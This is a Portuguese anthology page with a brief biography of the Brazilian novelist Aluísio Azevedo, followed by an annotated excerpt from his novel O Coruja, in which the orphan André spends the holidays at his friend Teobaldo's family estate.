ALUÍSIO AZEVEDO – biografia e obras

Livros e Biografia de Aluísio Azevedo

ALUÍSIO GONÇALVES DE AZEVEDO, nasceu em São Luís do Maranhão a 14 de abril de 1857 e faleceu em Buenos Aires a 21 de janeiro; de 1913. Iniciou a vida de trabalho no comércio* e depois fêz-se funcionário público e jornalista.

Aos vinte e quatro anos surgiu escritor e publicou, em sua terra natal, os primeiros romances: Uma Lágrima de Mulher, de feição puramente romântica, O Mulato, que lhe projetou o nome fora da Província, e Memórias de um Condenado.

Transferiu-se depois para o Rio de Janeiro, onde viveu das letras no jornalismo, continuando na produção de sua obra. Foi membro fundador da Academia de Letras e filiou-se à escola realista, de que foi entre nós o iniciador. Seus romances são páginas de viva e segura observação social, onde se desenham com amplitude e exatidão os costumes do povo, principalmente dos tipos da camada inferior do meio brasileiro. Aluísio é um impressionista, que nos deixa vigorosos quadros, além da fácil e natural dialogação com que torna atraente e movimentado o enredo de seus romances. Em 1897, aos quarenta anos, entrou para a carreira consular e serviu sucessivamente na Espanha, no Japão, na Inglaterra, na Itália e na Argentina, onde faleceu aos cinqüenta e cinco anos.

Suas obras, quase todas escritas antes dos quarenta anos, obtiveram grande êxito em sucessivas edições. As principais, além das já citadas, são: Mistérios da Tijuca (1883), Casa de Pensão (1884), Filomena Borges (1884), O Homem (1887), O Coruja (1889), O Cortiço (1890), O Esqueleto (1890), Mortalha de Alzira (1893) e Livro de uma Sogra (1895).

O Coruja – Obra de Aluísio Azevedo

— É bem feiozinho, benza-o Deus, o tal teu amigo!… disse o barão ao filho, enquanto André se afastava para ir buscar a sua trouxa.

— Sim, mas um belo rapaz, respondeu Teobaldo. Tem por mim uma cega dedicação.

— Embora! É muito antipático! Está sempre a olhar tão desconfiado para a gente!. .. E parece mudo — só me respondeu com a cabeça e com os ombros às perguntas que lhe fiz.

— É assim com todos…

—- Nem sei como vocês se fizeram amigos. Então tu, que segundo me disse ainda há pouco o Mosquito, não te chegas muito para os teus colegas.

— Só me chego para o Coruja. É o único.

— Coitado! O reverendo, ao que parece, não morre de amores por êle; nem à mão de Deus-Padre queria carregá-lo para casa.

— Um mau sujeito, o tal reverendo!

— Mas com certeza não foi por maldade que êle o recolheu à sua proteção.

— Não sei. Talvez!…

Emílio olhou mais atentamente para o filho e disse sorrindo:

— Tens, às vezes, cousas que me surpreendem. Com quem aprendeste tu a desconfiar desse modo dos teus semelhantes?

— Contigo. Não me tens dito tantas vezes que a gente deve desconfiar de todo o mundo?

— Para não sofrer decepções a cada passo… é exato!

— E que no caso de erro, é preferível sempre nos enganarmos contra, do que a favor de quem quer que seja?…

— De certo. O homem deve sempre colocar-se superior a tudo e fazer por dominar a todos. O mundo, meu filho, compõe–se apenas de duas classes — a dos fortes e a dos fracos; os fortes governam, os outros obedecem. Ama aos teus semelhantes, mas não tanto como a ti mesmo, e, entre amar e ser amado, prefere sempre o último; da mesma forma que deves preferir sempre dar a pedir (138), principalmente se o obséquio fôr de dinheiro.

— Achas mau que eu seja amigo do Coruja?

— Ao contrário, acho excelente! Essa escolha entre tantos colegas mais bem parecidos, confirma o bom juízo que faço do teu orgulho, e mostra que tens sabido aproveitar-te dos meus conselhos.

— Não compreendo.

— Também ainda é cedo para isso. É preciso dar tempo ao tempo.

O Coruja reapareceu sobraçando a sua pequena mala de couro cru.

— Pronto? perguntou-lhe Teobaldo.

O outro meneou a cabeça afirmativamente.

— Pois então a caminho! exclamou Emílio, descendo a escada na frente dos rapazes.

(138) A sintaxe do verbo preferir exige a preposição a para o segundo complemento: preferir uma cousa a outra; e tem por desnecessário o advérbio mais depois do verbo: "Ã glória de ser mãe prefere a de ser tia". (Castilho, As Sabichonas, ato I, cena II). É comum, todavia, na linguagem vulgar construir-se a frase com a seguinte feição, inaceitável: — preferir mais dar um passeio do que permanecer em casa. Esse desacerto vai-se, cada vez mais, expandindo e encontra-se mesmo em escritores pouco zelosos da língua. O erro provém de se tentar aplicar a esse verbo a sintaxe dos verbos gostar, desejar, querer, seguidos do advérbio mais: — Gostar mais de passear do que de permanecer em casa; querer mais ao trabalho do que às distrações. Observe-se que, na página anterior, Aluísio, pelo modo por que construiu a sentença, foi levado a incidir nesse deslize escrevendo: …"é preferível sempre enganarmo-nos contra do que a favor"… Convém notar que o substantivo preferência escapa a essa exclusividade, pois que pode acompanhar-se das preposições a, para, de, sobre ou por, como sobejamente esclarece Ruí em o n.° 95 da sua preciosa Réplica. (139) Melhor: ridiculizando. (140) rezingueira — que rezinga, que alterca, resmungona, impertinente, obstinada, ranzinza, rabugenta.

Um carro os esperava à porta do colégio; o cocheiro tomou conta das bagagens; Emílio fez subir os dois meninos e assentou–se defronte deles.

André, muito esquerdo com a sua roupinha de sarja, que ia já lhe ficando curta, não olhava de frente para os companheiros e parecia muito aflito naquela posição; ao passo que Teobaldo, muito filho de seu pai, conversava pelos cotovelos, dizia o que vira, praticara e assistira durante o ano, criticando os colegas, ridicularizando (139) os professores e, ao mesmo tempo, fazendo espirituosos comentários sobre tudo que lhe passava defronte dos olhos, pela estrada.

Chegaram à fazenda às oito horas da noite. Vieram recebê–los ao portão a senhora baronesa e mais a irmã, D. Geminiana, acompanhadas ambas pelo Caetano, que trazia uma lanterna.

Santa lançou-se ao encontro do filho, cobrindo-o de beijos sôfregos e a chorar e a rir ao mesmo tempo, enquanto um escravo, que acudira logo, desembarcava as malas e ajudava o cocheiro a desatrelar os animais.

Teobaldo passou dos braços da mãe para os da tia, que não menos o idolatrava, apesar de ser um tanto rezingueira (140) de gênio.

— O nosso morgado traz-lhe um hóspede! declarou o barão, empurrando brandamente o Coruja para junto das senhoras. É aquele amigo de que êle fala nas cartas. Vem fazer-lhe companhia durante as férias.

André, muito atrapalhado de sua vida, porque jamais se vira em tais situações, quando deu por si estava nos braços da mãe de seu amigo e recebia um beijo na testa.

Coitado! Que estranhas sensações não lhe produziu aquele beijo, ainda quente da ternura com que foram dados os outros no verdadeiro filho! Há quanto tempo não aspirava o pobre órfão essa flor ideal do amor, essa flor sonora, o beijo!

Depois de sua mãe, ninguém mais o beijara. E Santa sem saber, acabava de abrir no coração do desgraçado um sulco luminoso, que penetrava até as suas mais fundas reminiscências da infância.

— Este menino está chorando! considerou D. Geminiana, que até aí observava o Coruja como quem contempla um bicho raro.

— Que tens tu? perguntou Teobaldo ao amigo.

— Nada, respondeu este, limpando as lágrimas na manga da jaqueta.

E o seu gesto era tão desgracioso, coitadinho, que todos, à exceção de Santa, puseram-se a rir.

— Não é nada, com efeito! A comoção talvez!… exclamou Emílio, batendo levemente nas costas de André. Há muito tempo que não se vê entre família. Daqui a pouco nem se lembrará que chorou… Não é verdade, amiguinho?

O Coruja disse que sim, enterrando a cabeça nos ombros.

— Mas, vamos para cima, que eu estou morrendo por comer! protestou Teobaldo, passando os braços em volta da cinta das duas senhoras e obrigando-as a acompanhá-lo.

Assim subiram a pequena alameda de mangueiras que conduzia à casa e, dentro em pouco, penetravam todos na sala de jantar.

A despeito de se achar naquelas alturas, Emílio cercava-se de todas as comodidades que lhe permitia a época. O seu primeiro casamento abrira-lhe uma riquíssima coleção de louças, de sedas e cachemiras, charões, marfins, pinturas, objetos de goma-laca, tetéias de sândalo e tartaruga e tudo mais que era de costume, nesse tempo, introduzirem no Brasil os portugueses vezeiros no comércio das Índias.

O Coruja passou por tudo isso às cegas, sem ânimo de olhar para cousa alguma. O desgraçado sentia perfeitamente que agora, à luz das velas, a sua antipática figura havia de produzir sobre todos uma impressão ainda mais desagradável do que a primeira; sentia-se mais feio, mais irracional, posto em contraste com aquela gente e com aqueles objetos.

Mal se assentaram à mesa, D. Geminiana continuou a observá-lo fixamente e concluiu, afinal, o seu julgamento franzindo os

cantos da boca em um trejeito de repugnância; Santa, porém, não se mostrou tão desagradada e chegou a sorrir para o Coruja, quando lhe passou o prato de sopa.

O barão, que havia tomado a cabeceira, fizera sentar o filho ao seu lado e, segundo o costume, conversava com êle, como se estivesse defronte de um homem.

Entretanto, o Coruja continuava tão mudo e tão fechado, que do meio para o fim do jantar ninguém mais se animava a dirigir-lhe a palavra.

Depois do café, Santa ergueu-se da mesa e foi pessoalmente dar as suas ordens para que nada faltasse ao taciturno hóspede; mandou acrescentar uma cama no quarto do filho e disse ao outro que podia recolher-se quando quisesse.

Coruja apertou a mão de todos, um por um, e meteu-se no quarto. ,

— Já vais? perguntou-lhe o amigo. És um mau companheiro!

Na sala, onde ficou ainda a família a conversar por algum tempo, veio o Coruja à discussão. Emílio contou o diálogo que ouvira entre o padre e o diretor do colégio, e D. Geminiana, que parecia disposta a não perdoar ao órfão o ser tão desen-graçado, acabou ela própria louvando o procedimento do cunhado.

(O Coruja, l.a parte, cap. VI)


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

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